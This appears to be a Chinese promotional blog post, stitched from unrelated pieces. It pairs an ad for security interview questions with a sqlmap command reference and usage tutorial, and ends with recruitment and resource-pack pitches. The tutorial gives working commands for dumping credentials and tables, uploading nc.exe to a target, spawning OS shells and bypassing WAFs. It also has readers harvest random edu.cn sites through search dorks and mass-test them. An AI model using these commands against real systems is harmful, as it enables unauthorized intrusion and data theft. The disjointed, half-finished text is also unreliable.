还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump 转储数据库表项
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
暴力
这些选项可以被用来运行暴力检查
--common-tables 检查存在共同表
--common-columns 检查存在共同
用户自定义函数注入
这些选项可以用来创建用户自定义函数
--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径
访问文件系统
这些选项可以被用来访问后端数据库管理系统的底层文件系统
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest “C:/WINDOWS/Temp/nc.exe” -v1
操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令(OSCMD)
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH MetasploitFramework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
linux查看当前用户命令:
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1
Windows注册表访问
这些选项可以被用来访问后端数据库管理系统Windows注册表
--reg-read 读一个Windows注册表项值
--reg-add 写一个Windows注册表项值数据
--reg-del 删除Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表项值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表项值类型
一般选项
这些选项可以用来设置一些一般的工作参数
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
--batch 从不询问用户输入,使用所有默认配置。
--binary-fields=.. 结果字段具有二进制值(e.g."digest")
--charset=CHARSET 强制字符编码
--crawl=CRAWLDEPTH 从目标URL爬行网站
--crawl-exclude=.. 正则表达式从爬行页中排除
--csv-del=CSVDEL 限定使用CSV输出 (default",")
--dump-format=DU.. 转储数据格式(CSV(default), HTML or SQLITE)
--eta 显示每个输出的预计到达时间
--flush-session 刷新当前目标的会话文件
--forms 解析和测试目标URL表单
--fresh-queries 忽略在会话文件中存储的查询结果
--hex 使用DBMS Hex函数数据检索
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 解析和显示响应数据库错误信息
--save=SAVECONFIG 保存选项到INI配置文件
--scope=SCOPE 从提供的代理日志中使用正则表达式过滤目标
--test-filter=TE.. 选择测试的有效载荷和/或标题(e.g. ROW)
--test-skip=TEST.. 跳过试验载荷和/或标题(e.g.BENCHMARK)
--update 更新sqlmap
其他
-z MNEMONICS 使用短记忆法 (e.g."flu,bat,ban,tec=EU")
--alert=ALERT 发现SQL注入时,运行主机操作系统命令
--answers=ANSWERS 当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. "quit=N,follow=N"),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch
--beep 发现sql注入时,发出蜂鸣声。
--cleanup 清除sqlmap注入时在DBMS中产生的udf与表。
--dependencies Check formissing (non-core) sqlmap dependencies
--disable-coloring 默认彩色输出,禁掉彩色输出。
--gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试
--identify-waf 进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
--mobile 有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
--offline Work inoffline mode (only use session data)
--purge-output 从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
--skip-waf 跳过WAF/IPS / IDS启发式检测保护
--smart 进行积极的启发式测试,快速判断为注入的报错点进行注入
--sqlmap-shell 互动提示一个sqlmapshell
--tmp-dir=TMPDIR 用于存储临时文件的本地目录
--web-root=WEBROOT Web服务器的文档根目录(e.g."/var/www")
--wizard 新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入
三、实际利用
检测和利用SQL注入
1.手工判断是否存在漏洞
对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。
- sqlmap自动检测
检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。
- 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址
搜索目标
测试网页能否正常访问
将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞
检测URL地址是否存在漏洞
- 批量检测
将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下
批量整理目标地址
直接连接数据库
sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users
数据库相关操作
1.列数据库信息:–dbs
2.web当前使用的数据库–current-db
3.web数据库使用账户–current-user
4.列出sqlserver所有用户 --users
5.数据库账户与密码 --passwords
6.指定库名列出所有表 -D database --tables
-D:指定数据库名称
7.指定库名表名列出所有字段 -D antian365-T admin --columns
-T:指定要列出字段的表
8.指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
可加双引号,也可不加双引号。
9.导出多少条数据
-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump
参数:
–start:指定开始的行
–stop:指定结束的行
此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容
四、SQLMAP实用技巧
1. mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,“/*!0%s” % word) 为:
return match.group().replace(word,“/*!50000%s*/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
为:
<castquery=“convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
2. URL重写SQL注入测试
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"
3. 列举并破解密码哈希值
当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1
4. 获取表中的数据个数
sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb
5.对网站secbang.com进行漏洞爬去
sqlmap.py -u “http://www.secbang.com”–batch --crawl=3
6.基于布尔SQL注入预估时间
sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1”-b --eta
7.使用hex避免字符编码导致数据丢失
sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors
8.模拟测试手机环境站点
python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
9.智能判断测试
sqlmap.py -u “http://www.antian365.com/info.php?id=1”–batch --smart
10.结合burpsuite进行注入
(1)burpsuite抓包,需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表单注入
sqlmap.py -u URL --data“username=a&password=a”
11.sqlmap自动填写表单注入
自动填写表单:
sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 数据库名称--tables
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
12.读取linux下文件
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!